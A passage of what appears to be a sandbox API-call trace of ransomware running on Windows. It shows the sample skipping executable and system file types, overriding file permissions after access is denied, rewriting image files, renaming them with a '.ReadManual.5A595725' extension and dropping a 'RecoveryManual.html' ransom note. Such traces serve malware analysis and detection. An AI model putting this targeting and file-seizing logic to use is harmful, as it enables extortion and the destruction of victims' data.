Maker\\Shared\\DvdStyles\\ResizingPanels\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff40 [0254.285] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\" [0254.285] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.285] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7091adcb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7091adcb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0254.285] lstrcpyW (in: lpString1=0x6ab91a, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png" [0254.285] lstrcmpiW (lpString1="1047x576black.png", lpString2="RecoveryManual.html") returned -1 [0254.285] StrStrIW (lpFirst="1047x576black.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.285] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.285] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.285] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.285] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.285] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.285] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.285] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.285] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.285] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.285] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.285] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.285] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.285] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.285] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.285] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" [0254.285] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png.ReadManual.5A595725" [0254.285] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png.ReadManual.5A595725") returned 100 [0254.285] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37495403393) returned 1 [0254.285] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png")) returned 0x20 [0254.285] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.286] GetLastError () returned 0x5 [0254.286] GetNamedSecurityInfoW () returned 0x0 [0254.286] SetNamedSecurityInfoW () returned 0x0 [0254.286] SetNamedSecurityInfoW () returned 0x0 [0254.287] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.287] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4570) returned 1 [0254.287] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11da, lpName=0x0) returned 0x1a0 [0254.287] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd8) returned 1 [0254.288] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.288] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.290] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.290] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11da) returned 0x2f0000 [0254.290] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.290] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37495875972) returned 1 [0254.290] CloseHandle (hObject=0x1a0) returned 1 [0254.290] SetSecurityInfo () returned 0x5 [0254.290] SetSecurityInfo () returned 0x5 [0254.290] LocalFree (hMem=0x674d38) returned 0x0 [0254.290] CloseHandle (hObject=0x184) returned 1 [0254.290] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\" [0254.290] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\RecoveryManual.html" [0254.290] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0254.291] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0254.292] CloseHandle (hObject=0x184) returned 1 [0254.292] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0254.292] lstrcpyW (in: lpString1=0x6ab91a, lpString2="203x8subpicture.png" | out: lpString1="203x8subpicture.png") returned="203x8subpicture.png" [0254.292] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="RecoveryManual.html") returned -1 [0254.292] StrStrIW (lpFirst="203x8subpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.292] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.292] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.292] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.292] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.292] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.292] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.292] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.292] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.292] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.292] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.292] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.292] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.292] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.292] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.292] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" [0254.292] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png.ReadManual.5A595725" [0254.292] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png.ReadManual.5A595725") returned 102 [0254.292] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37496112677) returned 1 [0254.292] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png")) returned 0x20 [0254.293] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.293] GetLastError () returned 0x5 [0254.293] GetNamedSecurityInfoW () returned 0x0 [0254.293] SetNamedSecurityInfoW () returned 0x0 [0254.293] SetNamedSecurityInfoW () returned 0x0 [0254.294] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.294] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2820) returned 1 [0254.294] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb04, lpName=0x0) returned 0x1a0 [0254.294] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xdc) returned 1 [0254.295] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.295] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.296] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.296] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb04) returned 0x2f0000 [0254.296] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.297] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37496531458) returned 1 [0254.297] CloseHandle (hObject=0x1a0) returned 1 [0254.297] SetSecurityInfo () returned 0x5 [0254.297] SetSecurityInfo () returned 0x5 [0254.297] LocalFree (hMem=0x674d38) returned 0x0 [0254.297] CloseHandle (hObject=0x184) returned 1 [0254.298] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5aaf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bandwidth.png", cAlternateFileName="")) returned 1 [0254.298] lstrcpyW (in: lpString1=0x6ab91a, lpString2="bandwidth.png" | out: lpString1="bandwidth.png") returned="bandwidth.png" [0254.298] lstrcmpiW (lpString1="bandwidth.png", lpString2="RecoveryManual.html") returned -1 [0254.298] StrStrIW (lpFirst="bandwidth.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.298] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.298] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.298] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.298] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.298] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.298] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.298] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.298] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.298] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.298] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.298] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.298] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.298] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.298] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.298] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" [0254.298] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png.ReadManual.5A595725" [0254.298] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png.ReadManual.5A595725") returned 96 [0254.298] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37496698616) returned 1 [0254.298] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png")) returned 0x20 [0254.299] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.299] GetLastError () returned 0x5 [0254.299] GetNamedSecurityInfoW () returned 0x0 [0254.299] SetNamedSecurityInfoW () returned 0x0 [0254.300] SetNamedSecurityInfoW () returned 0x0 [0254.300] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.300] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=23215) returned 1 [0254.301] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5aaf, lpName=0x0) returned 0x1a0 [0254.301] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0254.301] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.301] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.303] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.304] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5aaf) returned 0x2f0000 [0254.304] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.304] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37497283962) returned 1 [0254.304] CloseHandle (hObject=0x1a0) returned 1 [0254.304] SetSecurityInfo () returned 0x5 [0254.304] SetSecurityInfo () returned 0x5 [0254.304] LocalFree (hMem=0x674d38) returned 0x0 [0254.304] CloseHandle (hObject=0x184) returned 1 [0254.304] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a25756, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a25756, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="blackbars80.png", cAlternateFileName="")) returned 1 [0254.304] lstrcpyW (in: lpString1=0x6ab91a, lpString2="blackbars80.png" | out: lpString1="blackbars80.png") returned="blackbars80.png" [0254.305] lstrcmpiW (lpString1="blackbars80.png", lpString2="RecoveryManual.html") returned -1 [0254.305] StrStrIW (lpFirst="blackbars80.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.305] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.305] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.305] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.305] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.305] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.305] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.305] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.305] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.305] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.305] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.305] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.305] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.305] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.305] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.305] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" [0254.305] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png.ReadManual.5A595725" [0254.305] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png.ReadManual.5A595725") returned 98 [0254.305] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37497389040) returned 1 [0254.305] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png")) returned 0x20 [0254.305] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.305] GetLastError () returned 0x5 [0254.305] GetNamedSecurityInfoW () returned 0x0 [0254.306] SetNamedSecurityInfoW () returned 0x0 [0254.306] SetNamedSecurityInfoW () returned 0x0 [0254.307] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.307] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=6431) returned 1 [0254.307] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x191f, lpName=0x0) returned 0x1a0 [0254.307] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd4) returned 1 [0254.308] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.308] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.310] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.310] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x191f) returned 0x2f0000 [0254.310] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.310] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37497882178) returned 1 [0254.310] CloseHandle (hObject=0x1a0) returned 1 [0254.310] SetSecurityInfo () returned 0x5 [0254.310] SetSecurityInfo () returned 0x5 [0254.310] LocalFree (hMem=0x674d38) returned 0x0 [0254.310] CloseHandle (hObject=0x184) returned 1 [0254.310] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x708ceb11, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x708ceb11, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0254.310] lstrcpyW (in: lpString1=0x6ab91a, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0254.311] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0254.311] StrStrIW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.311] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.311] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.311] 